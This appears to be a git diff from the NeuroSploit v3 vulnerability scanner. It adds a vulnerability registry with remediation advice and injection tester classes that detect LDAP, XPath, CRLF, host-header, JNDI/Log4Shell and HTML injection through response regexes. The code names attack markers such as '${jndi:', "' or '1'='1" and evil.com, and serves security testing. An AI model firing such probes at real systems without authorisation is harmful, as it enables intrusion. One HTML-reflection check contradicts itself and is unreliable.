"improper_error_handling": {"title": "Improper Error Handling", "severity": "low", "cwe_id": "CWE-209", "description": "Verbose error messages disclosing internal information in production.", "impact": "Source path disclosure, database details, technology stack exposure aiding further attacks.", "remediation": "1. Use custom error pages in production\n2. Log errors server-side only\n3. Return generic error messages\n4. Disable debug/stack trace output"},
|
||||
"sensitive_data_exposure": {"title": "Sensitive Data Exposure", "severity": "high", "cwe_id": "CWE-200", "description": "Sensitive data (PII, credentials, tokens) exposed in responses, URLs, or storage.", "impact": "Identity theft, account compromise, regulatory violations (GDPR, HIPAA).", "remediation": "1. Minimize data in API responses\n2. Encrypt sensitive data at rest/transit\n3. Remove sensitive data from URLs\n4. Implement data classification"},
|
||||
"information_disclosure": {"title": "Information Disclosure", "severity": "low", "cwe_id": "CWE-200", "description": "Unintended exposure of internal details: versions, paths, technology stack.", "impact": "Aids further attacks with technology-specific exploits and internal knowledge.", "remediation": "1. Remove version headers\n2. Disable directory listing\n3. Remove HTML comments\n4. Secure .git and config files"},
|
||||
"api_key_exposure": {"title": "API Key Exposure", "severity": "high", "cwe_id": "CWE-798", "description": "API keys or secrets hardcoded in client-side code or public files.", "impact": "Unauthorized API access, financial impact, data breach via exposed keys.", "remediation": "1. Use environment variables for secrets\n2. Implement key rotation\n3. Use backend proxy for API calls\n4. Monitor key usage for anomalies"},
|
||||
"source_code_disclosure": {"title": "Source Code Disclosure", "severity": "high", "cwe_id": "CWE-540", "description": "Application source code accessible through misconfigured servers, backups, or VCS exposure.", "impact": "White-box attack surface, credential discovery, vulnerability identification.", "remediation": "1. Block .git, .svn access\n2. Remove source maps in production\n3. Delete backup files\n4. Configure web server to block sensitive extensions"},
|
||||
"backup_file_exposure": {"title": "Backup File Exposure", "severity": "high", "cwe_id": "CWE-530", "description": "Backup files, database dumps, or archives accessible from web server.", "impact": "Full source code access, database contents including credentials.", "remediation": "1. Store backups outside web root\n2. Remove old backup files\n3. Block backup extensions in web server\n4. Encrypt backup files"},
|
||||
"version_disclosure": {"title": "Software Version Disclosure", "severity": "low", "cwe_id": "CWE-200", "description": "Specific software versions exposed enabling targeted CVE exploitation.", "impact": "Targeted exploitation of known vulnerabilities for the specific version.", "remediation": "1. Remove version from headers\n2. Update software regularly\n3. Remove version-disclosing files\n4. Customize error pages"},
|
||||
|
||||
# Crypto & Supply
|
||||
"weak_encryption": {"title": "Weak Encryption Algorithm", "severity": "medium", "cwe_id": "CWE-327", "description": "Use of weak/deprecated encryption algorithms (DES, RC4, ECB mode).", "impact": "Data decryption, MITM attacks, breaking confidentiality protections.", "remediation": "1. Use AES-256-GCM or ChaCha20\n2. Disable weak cipher suites\n3. Use TLS 1.2+ only\n4. Regular cryptographic review"},
|
||||
"weak_hashing": {"title": "Weak Hashing Algorithm", "severity": "medium", "cwe_id": "CWE-328", "description": "Use of weak hash algorithms (MD5, SHA1) for security-critical purposes.", "impact": "Password cracking, hash collision attacks, integrity bypass.", "remediation": "1. Use bcrypt/scrypt/argon2 for passwords\n2. Use SHA-256+ for integrity\n3. Always use salts\n4. Implement key stretching"},
|
||||
"weak_random": {"title": "Weak Random Number Generation", "severity": "medium", "cwe_id": "CWE-330", "description": "Predictable random numbers used for security tokens or session IDs.", "impact": "Token prediction, session hijacking, CSRF token bypass.", "remediation": "1. Use cryptographic PRNG (secrets module, SecureRandom)\n2. Avoid Math.random() for security\n3. Use sufficient entropy\n4. Regular token rotation"},
|
||||
"cleartext_transmission": {"title": "Cleartext Transmission of Sensitive Data", "severity": "medium", "cwe_id": "CWE-319", "description": "Sensitive data transmitted over unencrypted HTTP connections.", "impact": "Credential theft via MITM, session hijacking, data exposure.", "remediation": "1. Enforce HTTPS everywhere\n2. Implement HSTS with preload\n3. Redirect HTTP to HTTPS\n4. Set Secure flag on cookies"},
|
||||
"vulnerable_dependency": {"title": "Vulnerable Third-Party Dependency", "severity": "varies", "cwe_id": "CWE-1104", "description": "Third-party library with known CVEs in use.", "impact": "Depends on specific CVE - from XSS to RCE.", "remediation": "1. Regular dependency updates\n2. Use automated vulnerability scanning\n3. Monitor CVE advisories\n4. Implement SCA in CI/CD"},
|
||||
"outdated_component": {"title": "Outdated Software Component", "severity": "medium", "cwe_id": "CWE-1104", "description": "Significantly outdated CMS, framework, or server with multiple known CVEs.", "impact": "Multiple exploitable vulnerabilities, targeted attacks.", "remediation": "1. Update to latest stable version\n2. Enable automatic security updates\n3. Monitor end-of-life announcements\n4. Implement patch management"},
|
||||
"insecure_cdn": {"title": "Insecure CDN Resource Loading", "severity": "low", "cwe_id": "CWE-829", "description": "External scripts loaded without Subresource Integrity (SRI) hashes.", "impact": "Supply chain attack via CDN compromise, mass XSS.", "remediation": "1. Add integrity= attribute to script/link tags\n2. Use crossorigin attribute\n3. Self-host critical resources\n4. Implement CSP with hash sources"},
|
||||
"container_escape": {"title": "Container Escape / Misconfiguration", "severity": "critical", "cwe_id": "CWE-250", "description": "Container running with elevated privileges or exposed host resources.", "impact": "Host system compromise, lateral movement, data access across containers.", "remediation": "1. Don't use --privileged\n2. Drop unnecessary capabilities\n3. Don't mount Docker socket\n4. Use seccomp/AppArmor profiles"},
|
||||
|
||||
# Cloud & API
|
||||
"s3_bucket_misconfiguration": {"title": "S3/Cloud Storage Misconfiguration", "severity": "high", "cwe_id": "CWE-284", "description": "Cloud storage bucket with public read/write access.", "impact": "Data exposure, data tampering, hosting malicious content.", "remediation": "1. Enable S3 Block Public Access\n2. Review bucket policies\n3. Use IAM policies for access\n4. Enable access logging"},
|
||||
"cloud_metadata_exposure": {"title": "Cloud Metadata Exposure", "severity": "critical", "cwe_id": "CWE-918", "description": "Cloud instance metadata service accessible exposing credentials.", "impact": "IAM credential theft, cloud account compromise, lateral movement.", "remediation": "1. Use IMDSv2 (token-required)\n2. Block metadata endpoint in firewall\n3. Implement SSRF protection\n4. Use minimal IAM roles"},
|
||||
"serverless_misconfiguration": {"title": "Serverless Misconfiguration", "severity": "medium", "cwe_id": "CWE-284", "description": "Serverless function with excessive permissions or missing auth.", "impact": "Unauthorized function execution, environment variable exposure, privilege escalation.", "remediation": "1. Apply least privilege IAM roles\n2. Require authentication\n3. Don't expose secrets in env vars\n4. Implement function authorization"},
|
||||
"graphql_introspection": {"title": "GraphQL Introspection Enabled", "severity": "low", "cwe_id": "CWE-200", "description": "GraphQL introspection enabled in production exposing full API schema.", "impact": "Complete API mapping, discovery of sensitive types and mutations.", "remediation": "1. Disable introspection in production\n2. Use persisted queries\n3. Implement field-level authorization\n4. Use query allowlisting"},
|
||||
"graphql_dos": {"title": "GraphQL Denial of Service", "severity": "medium", "cwe_id": "CWE-400", "description": "GraphQL endpoint vulnerable to resource-exhaustion via complex/nested queries.", "impact": "Service unavailability, resource exhaustion, increased infrastructure costs.", "remediation": "1. Implement query depth limits\n2. Add query complexity analysis\n3. Set timeout on queries\n4. Use persisted/allowlisted queries"},
|
||||
"rest_api_versioning": {"title": "Insecure API Version Exposure", "severity": "low", "cwe_id": "CWE-284", "description": "Older API versions with weaker security controls still accessible.", "impact": "Bypass newer security controls via old API versions.", "remediation": "1. Deprecate and remove old API versions\n2. Apply same security to all versions\n3. Monitor old version usage\n4. Set deprecation timelines"},
|
||||
"soap_injection": {"title": "SOAP/XML Web Service Injection", "severity": "high", "cwe_id": "CWE-91", "description": "Injection in SOAP/XML web service parameters manipulating queries.", "impact": "Data extraction, XXE via SOAP, SOAP action spoofing for unauthorized operations.", "remediation": "1. Validate SOAP input\n2. Disable XML external entities\n3. Validate SOAPAction header\n4. Use WS-Security"},
|
||||
"api_rate_limiting": {"title": "Missing API Rate Limiting", "severity": "medium", "cwe_id": "CWE-770", "description": "API endpoints lacking rate limiting allowing unlimited requests.", "impact": "Brute force, scraping, DoS, API abuse at scale.", "remediation": "1. Implement rate limiting per user/IP\n2. Return 429 with Retry-After\n3. Use API gateway throttling\n4. Implement sliding window algorithm"},
|
||||
"excessive_data_exposure": {"title": "Excessive Data Exposure", "severity": "medium", "cwe_id": "CWE-213", "description": "APIs returning more data than the client needs, including sensitive fields.", "impact": "Exposure of sensitive fields (password hashes, tokens, PII) to clients.", "remediation": "1. Use response DTOs/serializers\n2. Implement field-level filtering\n3. Apply least-data principle\n4. Separate admin and user endpoints"}
|
||||
}
|
||||
|
||||
# Tester class mappings
|
||||
# Tester class mappings (100 types)
|
||||
TESTER_CLASSES = {
|
||||
# Injection (10 original + 11 advanced)
|
||||
"xss_reflected": XSSReflectedTester,
|
||||
"xss_stored": XSSStoredTester,
|
||||
"xss_dom": XSSDomTester,
|
||||
@@ -338,26 +458,118 @@ class VulnerabilityRegistry:
|
||||
"command_injection": CommandInjectionTester,
|
||||
"ssti": SSTITester,
|
||||
"nosql_injection": NoSQLInjectionTester,
|
||||
"ldap_injection": LdapInjectionTester,
|
||||
"xpath_injection": XpathInjectionTester,
|
||||
"graphql_injection": GraphqlInjectionTester,
|
||||
"crlf_injection": CrlfInjectionTester,
|
||||
"header_injection": HeaderInjectionTester,
|
||||
"email_injection": EmailInjectionTester,
|
||||
"expression_language_injection": ELInjectionTester,
|
||||
"log_injection": LogInjectionTester,
|
||||
"html_injection": HtmlInjectionTester,
|
||||
"csv_injection": CsvInjectionTester,
|
||||
"orm_injection": OrmInjectionTester,
|
||||
|
||||
# XSS Advanced
|
||||
"blind_xss": XSSStoredTester, # Similar detection pattern
|
||||
"mutation_xss": XSSReflectedTester, # Similar detection pattern
|
||||
|
||||
# File Access (5 original + 3 new)
|
||||
"lfi": LFITester,
|
||||
"rfi": RFITester,
|
||||
"path_traversal": PathTraversalTester,
|
||||
"xxe": XXETester,
|
||||
"file_upload": FileUploadTester,
|
||||
"arbitrary_file_read": ArbitraryFileReadTester,
|
||||
"arbitrary_file_delete": ArbitraryFileDeleteTester,
|
||||
"zip_slip": ZipSlipTester,
|
||||
|
||||
# Request Forgery (3 original + 2 new)
|
||||
"ssrf": SSRFTester,
|
||||
"ssrf_cloud": SSRFTester, # Same tester, different payloads
|
||||
"ssrf_cloud": SSRFTester,
|
||||
"csrf": CSRFTester,
|
||||
"cors_misconfig": CORSTester,
|
||||
"graphql_introspection": GraphqlIntrospectionTester,
|
||||
"graphql_dos": GraphqlDosTester,
|
||||
|
||||
# Auth (3 original + 5 new)
|
||||
"auth_bypass": AuthBypassTester,
|
||||
"jwt_manipulation": JWTManipulationTester,
|
||||
"session_fixation": SessionFixationTester,
|
||||
"weak_password": WeakPasswordTester,
|
||||
"default_credentials": DefaultCredentialsTester,
|
||||
"brute_force": AuthBypassTester, # Similar pattern
|
||||
"two_factor_bypass": TwoFactorBypassTester,
|
||||
"oauth_misconfiguration": OauthMisconfigTester,
|
||||
|
||||
# Authorization (3 original + 3 new)
|
||||
"idor": IDORTester,
|
||||
"bola": BOLATester,
|
||||
"privilege_escalation": PrivilegeEscalationTester,
|
||||
"cors_misconfig": CORSTester,
|
||||
"bfla": BflaTester,
|
||||
"mass_assignment": MassAssignmentTester,
|
||||
"forced_browsing": ForcedBrowsingTester,
|
||||
|
||||
# Client-Side (3 original + 6 new)
|
||||
"clickjacking": ClickjackingTester,
|
||||
"open_redirect": OpenRedirectTester,
|
||||
"dom_clobbering": DomClobberingTester,
|
||||
"postmessage_vulnerability": PostMessageVulnTester,
|
||||
"websocket_hijacking": WebsocketHijackTester,
|
||||
"prototype_pollution": PrototypePollutionTester,
|
||||
"css_injection": CssInjectionTester,
|
||||
"tabnabbing": TabnabbingTester,
|
||||
|
||||
# Infrastructure (3 original + 7 new)
|
||||
"security_headers": SecurityHeadersTester,
|
||||
"ssl_issues": SSLTester,
|
||||
"http_methods": HTTPMethodsTester,
|
||||
"directory_listing": DirectoryListingTester,
|
||||
"debug_mode": DebugModeTester,
|
||||
"exposed_admin_panel": ExposedAdminPanelTester,
|
||||
"exposed_api_docs": ExposedApiDocsTester,
|
||||
"insecure_cookie_flags": InsecureCookieFlagsTester,
|
||||
"http_smuggling": HttpSmugglingTester,
|
||||
"cache_poisoning": CachePoisoningTester,
|
||||
|
||||
# Logic (9 types)
|
||||
"race_condition": RaceConditionTester,
|
||||
"business_logic": BusinessLogicTester,
|
||||
"rate_limit_bypass": RateLimitBypassTester,
|
||||
"parameter_pollution": ParameterPollutionTester,
|
||||
"type_juggling": TypeJugglingTester,
|
||||
"timing_attack": TimingAttackTester,
|
||||
"host_header_injection": HostHeaderInjectionTester,
|
||||
"insecure_deserialization": BaseTester, # AI-driven
|
||||
"subdomain_takeover": SubdomainTakeoverTester,
|
||||
"improper_error_handling": BaseTester, # AI-driven
|
||||
|
||||
# Data Exposure (6 types)
|
||||
"sensitive_data_exposure": SensitiveDataExposureTester,
|
||||
"information_disclosure": InformationDisclosureTester,
|
||||
"api_key_exposure": ApiKeyExposureTester,
|
||||
"source_code_disclosure": SourceCodeDisclosureTester,
|
||||
"backup_file_exposure": BackupFileExposureTester,
|
||||
"version_disclosure": VersionDisclosureTester,
|
||||
|
||||
# Crypto & Supply (8 types - mostly inspection/AI-driven)
|
||||
"weak_encryption": BaseTester,
|
||||
"weak_hashing": BaseTester,
|
||||
"weak_random": BaseTester,
|
||||
"cleartext_transmission": BaseTester,
|
||||
"vulnerable_dependency": VulnerableDependencyTester,
|
||||
"outdated_component": VulnerableDependencyTester,
|
||||
"insecure_cdn": BaseTester,
|
||||
"container_escape": ContainerEscapeTester,
|
||||
|
||||
# Cloud & API (7 types)
|
||||
"s3_bucket_misconfiguration": S3BucketMisconfigTester,
|
||||
"cloud_metadata_exposure": CloudMetadataExposureTester,
|
||||
"serverless_misconfiguration": ServerlessMisconfigTester,
|
||||
"rest_api_versioning": BaseTester, # AI-driven
|
||||
"soap_injection": BaseTester, # AI-driven
|
||||
"api_rate_limiting": RateLimitBypassTester,
|
||||
"excessive_data_exposure": SensitiveDataExposureTester,
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,532 @@
|
||||
"""
|
||||
NeuroSploit v3 - Advanced Injection Vulnerability Testers
|
||||
|
||||
Testers for LDAP, XPath, GraphQL, CRLF, Header, Email, EL, Log, HTML, CSV, and ORM injection.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class LdapInjectionTester(BaseTester):
|
||||
"""Tester for LDAP Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "ldap_injection"
|
||||
self.error_patterns = [
|
||||
r"javax\.naming\.NamingException",
|
||||
r"LDAPException",
|
||||
r"ldap_search\(\)",
|
||||
r"ldap_bind\(\)",
|
||||
r"Invalid DN syntax",
|
||||
r"Bad search filter",
|
||||
r"DSA is unavailable",
|
||||
r"LDAP error code \d+",
|
||||
r"cn=.*,\s*ou=.*,\s*dc=",
|
||||
r"objectClass=",
|
||||
r"No such object",
|
||||
r"invalid attribute description",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for LDAP injection indicators"""
|
||||
# Check for LDAP error messages
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.8, f"LDAP error detected: {match.group(0)[:100]}"
|
||||
|
||||
# Wildcard injection - check if directory listing returned
|
||||
if "*" in payload:
|
||||
# Multiple DN entries suggest directory enumeration
|
||||
dn_count = len(re.findall(r"dn:\s+\S+", response_body, re.IGNORECASE))
|
||||
if dn_count > 1:
|
||||
return True, 0.85, f"LDAP wildcard returned {dn_count} directory entries"
|
||||
|
||||
# Filter manipulation - check for unexpected data volume
|
||||
if ")(|" in payload or "*)(objectClass" in payload:
|
||||
if response_status == 200 and len(response_body) > 5000:
|
||||
return True, 0.6, "LDAP filter manipulation may have returned extra data"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class XpathInjectionTester(BaseTester):
|
||||
"""Tester for XPath Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xpath_injection"
|
||||
self.error_patterns = [
|
||||
r"XPathException",
|
||||
r"Invalid XPath",
|
||||
r"xpath syntax error",
|
||||
r"javax\.xml\.xpath",
|
||||
r"XPathEvalError",
|
||||
r"xmlXPathEval:",
|
||||
r"XPATH syntax error",
|
||||
r"DOMXPath",
|
||||
r"SimpleXMLElement::xpath\(\)",
|
||||
r"lxml\.etree\.XPathEvalError",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for XPath injection indicators"""
|
||||
# XPath error messages
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.85, f"XPath error detected: {match.group(0)[:100]}"
|
||||
|
||||
# Boolean-based XPath injection - true condition returning data
|
||||
if ("' or '1'='1" in payload or "or 1=1" in payload):
|
||||
if response_status == 200:
|
||||
# Check for XML-like data in response
|
||||
xml_tags = re.findall(r"<[a-zA-Z][^>]*>", response_body)
|
||||
if len(xml_tags) > 5:
|
||||
return True, 0.65, "XPath boolean injection may have returned XML data"
|
||||
|
||||
# Check for exposed XML node data
|
||||
if "' | //" in payload or "extractvalue(" in payload.lower():
|
||||
if re.search(r"<\?xml\s+version=", response_body):
|
||||
return True, 0.7, "XML document exposed via XPath injection"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class GraphqlInjectionTester(BaseTester):
|
||||
"""Tester for GraphQL Injection / Introspection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "graphql_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for GraphQL introspection and injection indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Introspection query response - schema exposure
|
||||
if "__schema" in payload or "__type" in payload or "introspection" in payload.lower():
|
||||
if '"__schema"' in response_body or '"__type"' in response_body:
|
||||
return True, 0.9, "GraphQL introspection enabled - schema exposed"
|
||||
if '"types"' in response_body and '"queryType"' in response_body:
|
||||
return True, 0.9, "GraphQL schema types exposed via introspection"
|
||||
|
||||
# GraphQL error messages revealing structure
|
||||
graphql_errors = [
|
||||
r'"errors"\s*:\s*\[',
|
||||
r"Cannot query field",
|
||||
r"Unknown argument",
|
||||
r"Field .* not found in type",
|
||||
r"Syntax Error.*GraphQL",
|
||||
r"GraphQL error",
|
||||
]
|
||||
for pattern in graphql_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Error messages can reveal field/type names
|
||||
if re.search(r'"message"\s*:\s*".*(?:field|type|argument)', response_body, re.IGNORECASE):
|
||||
return True, 0.7, "GraphQL error reveals schema information"
|
||||
|
||||
# Mutation that returned success unexpectedly
|
||||
if "mutation" in payload.lower() and response_status == 200:
|
||||
if '"data"' in response_body and '"errors"' not in response_body:
|
||||
return True, 0.5, "GraphQL mutation succeeded - verify authorization"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CrlfInjectionTester(BaseTester):
|
||||
"""Tester for CRLF Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "crlf_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CRLF injection - injected headers appearing in response"""
|
||||
# Check if our injected header appeared in response headers
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
if "x-test" in headers_lower:
|
||||
return True, 0.95, f"CRLF injection confirmed: X-Test header injected with value '{headers_lower['x-test']}'"
|
||||
|
||||
if "x-injected" in headers_lower:
|
||||
return True, 0.95, f"CRLF injection confirmed: X-Injected header present"
|
||||
|
||||
# Check for Set-Cookie injection
|
||||
if "set-cookie" in headers_lower and "neurosploit" in str(headers_lower.get("set-cookie", "")).lower():
|
||||
return True, 0.9, "CRLF injection: injected Set-Cookie header detected"
|
||||
|
||||
# Check if payload characters are reflected unencoded in Location header
|
||||
if "location" in headers_lower:
|
||||
location = headers_lower["location"]
|
||||
if "\r\n" in location or "%0d%0a" in location.lower():
|
||||
return True, 0.8, "CRLF characters in Location header"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HeaderInjectionTester(BaseTester):
|
||||
"""Tester for Host Header Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "header_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Host header reflected in response URLs"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if injected host value appears in response links
|
||||
evil_markers = ["evil.com", "attacker.com", "neurosploit.test"]
|
||||
for marker in evil_markers:
|
||||
if marker in payload.lower():
|
||||
if marker in body_lower:
|
||||
# Check if it appears in URLs, links, or redirects
|
||||
url_pattern = rf'(?:href|src|action|url|link|redirect)\s*[=:]\s*["\']?[^"\']*{re.escape(marker)}'
|
||||
if re.search(url_pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Host header injected into response URL: {marker}"
|
||||
return True, 0.7, f"Injected host value '{marker}' reflected in response"
|
||||
|
||||
# Password reset poisoning check
|
||||
if "password" in body_lower and "reset" in body_lower:
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
if response_status in [200, 302]:
|
||||
return True, 0.5, "Password reset response may use Host header for link generation"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class EmailInjectionTester(BaseTester):
|
||||
"""Tester for Email Header Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "email_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for email header injection success indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check for CC/BCC injection indicators
|
||||
if any(h in payload.lower() for h in ["cc:", "bcc:", "\r\nto:", "%0acc:", "%0abcc:"]):
|
||||
# Successful email send with injected headers
|
||||
if response_status == 200:
|
||||
success_indicators = [
|
||||
"email sent", "message sent", "mail sent",
|
||||
"successfully sent", "email delivered", "sent successfully",
|
||||
]
|
||||
for indicator in success_indicators:
|
||||
if indicator in body_lower:
|
||||
return True, 0.75, f"Email injection: '{indicator}' after CC/BCC injection attempt"
|
||||
|
||||
# Check for multiple recipient confirmation
|
||||
if re.search(r"(?:sent to|delivered to|recipients?)\s*:?\s*\d+", response_body, re.IGNORECASE):
|
||||
return True, 0.7, "Email sent to multiple recipients after injection"
|
||||
|
||||
# SMTP error leak
|
||||
smtp_errors = [r"SMTP error", r"550 \d+", r"relay access denied", r"mail\(\).*failed"]
|
||||
for pattern in smtp_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.6, "SMTP error revealed - email injection attempted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ELInjectionTester(BaseTester):
|
||||
"""Tester for Expression Language (EL) Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "el_injection"
|
||||
self.math_results = {
|
||||
"${7*7}": "49",
|
||||
"#{7*7}": "49",
|
||||
"${3*11}": "33",
|
||||
"#{3*11}": "33",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for EL injection - expression evaluation in response"""
|
||||
# Check mathematical expression results
|
||||
for expr, result in self.math_results.items():
|
||||
if expr in payload and result in response_body:
|
||||
# Make sure the result isn't just the expression echoed
|
||||
if expr not in response_body:
|
||||
return True, 0.95, f"EL injection confirmed: {expr} evaluated to {result}"
|
||||
|
||||
# Java class names exposed via EL
|
||||
java_indicators = [
|
||||
r"java\.lang\.\w+",
|
||||
r"java\.io\.File",
|
||||
r"Runtime\.getRuntime",
|
||||
r"ProcessBuilder",
|
||||
r"javax\.\w+\.\w+",
|
||||
r"org\.apache\.\w+",
|
||||
r"getClass\(\)\.forName",
|
||||
]
|
||||
for pattern in java_indicators:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.8, f"Java class exposure via EL injection: {pattern}"
|
||||
|
||||
# Spring EL specific
|
||||
if "T(java.lang" in payload:
|
||||
if re.search(r"class\s+\w+|java\.\w+", response_body):
|
||||
return True, 0.7, "Spring EL injection indicator - Java class reference in response"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class LogInjectionTester(BaseTester):
|
||||
"""Tester for Log Injection / Log4Shell / JNDI Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "log_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for log injection and JNDI callback indicators"""
|
||||
# JNDI/Log4Shell detection via context callback
|
||||
if "${jndi:" in payload.lower():
|
||||
# Check context for callback confirmation
|
||||
if context.get("callback_received"):
|
||||
return True, 0.95, "JNDI injection confirmed via callback"
|
||||
# Check for Log4j error in response
|
||||
log4j_indicators = [
|
||||
r"log4j", r"Log4jException", r"JNDI lookup",
|
||||
r"javax\.naming", r"InitialContext",
|
||||
]
|
||||
for pattern in log4j_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, f"Log4j/JNDI indicator in response: {pattern}"
|
||||
|
||||
# Newline injection in log-like responses
|
||||
if "\n" in payload or "%0a" in payload.lower() or "\\n" in payload:
|
||||
# Check if response includes log-format lines with our injected content
|
||||
log_patterns = [
|
||||
r"\[\d{4}-\d{2}-\d{2}.*\].*neurosploit",
|
||||
r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}.*neurosploit",
|
||||
r"(?:INFO|WARN|ERROR|DEBUG)\s+.*neurosploit",
|
||||
]
|
||||
for pattern in log_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, "Log injection: injected content appears in log-format output"
|
||||
|
||||
# Generic log forging check
|
||||
if "neurosploit" in payload and response_status == 200:
|
||||
if re.search(r"(?:log|audit|event).*neurosploit", response_body, re.IGNORECASE):
|
||||
return True, 0.5, "Injected marker appears in log/audit output"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HtmlInjectionTester(BaseTester):
|
||||
"""Tester for HTML Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "html_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for rendered HTML tags in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check for injected HTML tags rendered in response
|
||||
html_tests = [
|
||||
(r"<b>neurosploit</b>", "Bold tag rendered"),
|
||||
(r"<i>neurosploit</i>", "Italic tag rendered"),
|
||||
(r"<u>neurosploit</u>", "Underline tag rendered"),
|
||||
(r'<a\s+href=["\']?[^"\']*["\']?>neurosploit</a>', "Anchor tag rendered"),
|
||||
(r'<img\s+src=["\']?[^"\']*["\']?', "Image tag rendered"),
|
||||
(r'<form\s+[^>]*action=', "Form tag rendered"),
|
||||
(r'<iframe\s+', "IFrame tag rendered"),
|
||||
(r'<marquee>', "Marquee tag rendered"),
|
||||
(r'<h1>neurosploit</h1>', "H1 tag rendered"),
|
||||
(r'<div\s+style=', "Styled div rendered"),
|
||||
]
|
||||
|
||||
for pattern, description in html_tests:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Verify it wasn't already there (check if payload was actually injected)
|
||||
if any(tag in payload.lower() for tag in ["<b>", "<i>", "<u>", "<a ", "<img", "<form", "<iframe", "<marquee", "<h1>", "<div"]):
|
||||
return True, 0.8, f"HTML injection: {description}"
|
||||
|
||||
# Check for payload reflection without encoding
|
||||
if "<" in payload and ">" in payload:
|
||||
# Find the injected tag in response
|
||||
tag_match = re.search(r"<(\w+)[^>]*>", payload)
|
||||
if tag_match:
|
||||
tag_name = tag_match.group(1)
|
||||
if f"<{tag_name}" in response_body and f"<{tag_name}" not in response_body:
|
||||
return True, 0.75, f"HTML tag <{tag_name}> reflected without encoding"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CsvInjectionTester(BaseTester):
|
||||
"""Tester for CSV Injection (Formula Injection) vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
